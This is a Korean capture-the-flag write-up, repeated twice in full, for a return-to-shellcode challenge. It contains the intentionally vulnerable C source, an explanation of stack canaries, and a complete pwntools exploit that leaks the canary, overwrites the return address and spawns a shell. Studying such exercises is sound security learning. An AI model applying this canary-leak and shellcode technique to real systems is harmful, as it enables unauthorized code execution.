아무래도 기억력이 나쁜 편이라 계속해서 썼던 코드를 잊어버리네요.
그래서 블로그를 시작했지만 암튼,
문제 풀이를 해보겠습니다.
문제

이번 문제도 사실 풀이는 이미 이전에 있습니다.
그래도 그냥 해보죠.. 제 풀이는 안 보고 했으니까.
shecksec 을 하면 다음과 같이 나타납니다. Canary를 찾을 수 있습니다.

// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int main() {
char buf[0x50];
init();
printf("Address of the buf: %p\n", buf);
printf("Distance between buf and $rbp: %ld\n",
(char*)__builtin_frame_address(0) - buf);
printf("[1] Leak the canary\n");
printf("Input: ");
fflush(stdout);
read(0, buf, 0x100);
printf("Your input is '%s'\n", buf);
puts("[2] Overwrite the return address");
printf("Input: ");
fflush(stdout);
gets(buf);
return 0;
}
문제 파일의 코드입니다.
처음에 buf의 주소와 rbp와 buf의 거리를 알려주고 buf를 입력받습니다.
이후 buf를 %s 문자열로 출력하고 다시 buf를 gets로 입력받습니다.
풀이
Canary의 개념을 잠깐 요약해두고 가자면

fs:0x28의 데이터를 읽어서 rax에 저장합니다.
fs:0x28는 TLS를 가리키는데(TLS가 뭔진 잘 모르겠음) 프로세스가 시작될 때 arch_practl이라는 함수에 의해 TLS 주소값이 rsi에 설정되고(catch syscall arch_prctl) fs는 이를 가리킵니다.
watch *(0x7ffff7fdb4c0+0x28)를 통해 값이 변경될 때 멈추도록 하면 security_init라는 함수에서 값이 랜덤으로(Canary)설정되고 이 Canary값을 검사하는 것입니다.

위 어셈블리에서는 rbp-8에 Canary가 저장됨을 알 수 있고 스택은 다음과 같습니다.
아마 null이 왼쪽에 있는건 little endian 때문이겠죠..?
그래서 우리는 위 코드와 canary의 구조를 보고 다음과 같이 시나리오를 세울 수 있습니다.
1. buf의 주소를 알고 buf를 shellcode와 canary의 null을 덮을 때까지 채운다(NOP로 -> NOP Sled 참고)(아마 buf와 rbp까지 거리는 필요 없을듯?)
2. printf %s는 null까지 읽어들이므로 null 이후 canary의 7바이트를 읽어들인다.
3. gets에서 buf에는 shellcode를, canary를 입력받은 그대로 전달하고 sfp를 채운뒤, ret를 buf의 주소로 옮겨 shellcode를 실행시킨다.
Exploit
from pwn import *
p = process('./r2s')
#p = remote('host2.dreamhack.games',24098)
context.arch = 'amd64'
p.recvuntil('Address of the buf: ')
ret = int(p.recv(14),16)
#print(hex(ret))
payload = asm(shellcraft.sh())
payload = payload.ljust(89,b'\x90')
p.sendafter('Input: ',payload)
p.recvuntil(payload)
canary = b'\x00'+p.recv(7)
payload = payload[:-1]
payload += canary
payload += b'A'*8
payload += p64(ret)
#print(payload)
#print(len(payload))
p.recv()
p.sendline(payload)
p.interactive()
때문에 다음과 같은 exploit code를 작성했습니다.
shellcarft.sh함수를 이용해서 셸코드를 삽입하고, ljust를 통해 정해진 바이트만큼 NOP으로 채웁니다.
이후 printf %s로 인해 입력된 payload가 나오기 때문에 recvuntil로 받고 canary값을 7바이트 받아들인 값에 더해줍니다.
payload에 [:-1]을 하는 이유는 이전 payload에서 \x90을 null까지 덮기 위해 썼으나 이제 null을 더해서 canary를 만들어주었기 때문입니다. 맨 뒤에 1바이트를 삭제하는 부분이죠.
이런 식으로 문제를 풀었습니당
아무래도 기억력이 나쁜 편이라 계속해서 썼던 코드를 잊어버리네요.
그래서 블로그를 시작했지만 암튼,
문제 풀이를 해보겠습니다.
문제

이번 문제도 사실 풀이는 이미 이전에 있습니다.
그래도 그냥 해보죠.. 제 풀이는 안 보고 했으니까.
shecksec 을 하면 다음과 같이 나타납니다. Canary를 찾을 수 있습니다.

// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int main() {
char buf[0x50];
init();
printf("Address of the buf: %p\n", buf);
printf("Distance between buf and $rbp: %ld\n",
(char*)__builtin_frame_address(0) - buf);
printf("[1] Leak the canary\n");
printf("Input: ");
fflush(stdout);
read(0, buf, 0x100);
printf("Your input is '%s'\n", buf);
puts("[2] Overwrite the return address");
printf("Input: ");
fflush(stdout);
gets(buf);
return 0;
}
문제 파일의 코드입니다.
처음에 buf의 주소와 rbp와 buf의 거리를 알려주고 buf를 입력받습니다.
이후 buf를 %s 문자열로 출력하고 다시 buf를 gets로 입력받습니다.
풀이
Canary의 개념을 잠깐 요약해두고 가자면

fs:0x28의 데이터를 읽어서 rax에 저장합니다.
fs:0x28는 TLS를 가리키는데(TLS가 뭔진 잘 모르겠음) 프로세스가 시작될 때 arch_practl이라는 함수에 의해 TLS 주소값이 rsi에 설정되고(catch syscall arch_prctl) fs는 이를 가리킵니다.
watch *(0x7ffff7fdb4c0+0x28)를 통해 값이 변경될 때 멈추도록 하면 security_init라는 함수에서 값이 랜덤으로(Canary)설정되고 이 Canary값을 검사하는 것입니다.

위 어셈블리에서는 rbp-8에 Canary가 저장됨을 알 수 있고 스택은 다음과 같습니다.
아마 null이 왼쪽에 있는건 little endian 때문이겠죠..?
그래서 우리는 위 코드와 canary의 구조를 보고 다음과 같이 시나리오를 세울 수 있습니다.
1. buf의 주소를 알고 buf를 shellcode와 canary의 null을 덮을 때까지 채운다(NOP로 -> NOP Sled 참고)(아마 buf와 rbp까지 거리는 필요 없을듯?)
2. printf %s는 null까지 읽어들이므로 null 이후 canary의 7바이트를 읽어들인다.
3. gets에서 buf에는 shellcode를, canary를 입력받은 그대로 전달하고 sfp를 채운뒤, ret를 buf의 주소로 옮겨 shellcode를 실행시킨다.
Exploit
from pwn import *
p = process('./r2s')
#p = remote('host2.dreamhack.games',24098)
context.arch = 'amd64'
p.recvuntil('Address of the buf: ')
ret = int(p.recv(14),16)
#print(hex(ret))
payload = asm(shellcraft.sh())
payload = payload.ljust(89,b'\x90')
p.sendafter('Input: ',payload)
p.recvuntil(payload)
canary = b'\x00'+p.recv(7)
payload = payload[:-1]
payload += canary
payload += b'A'*8
payload += p64(ret)
#print(payload)
#print(len(payload))
p.recv()
p.sendline(payload)
p.interactive()
때문에 다음과 같은 exploit code를 작성했습니다.
shellcarft.sh함수를 이용해서 셸코드를 삽입하고, ljust를 통해 정해진 바이트만큼 NOP으로 채웁니다.
이후 printf %s로 인해 입력된 payload가 나오기 때문에 recvuntil로 받고 canary값을 7바이트 받아들인 값에 더해줍니다.
payload에 [:-1]을 하는 이유는 이전 payload에서 \x90을 null까지 덮기 위해 썼으나 이제 null을 더해서 canary를 만들어주었기 때문입니다. 맨 뒤에 1바이트를 삭제하는 부분이죠.
이런 식으로 문제를 풀었습니당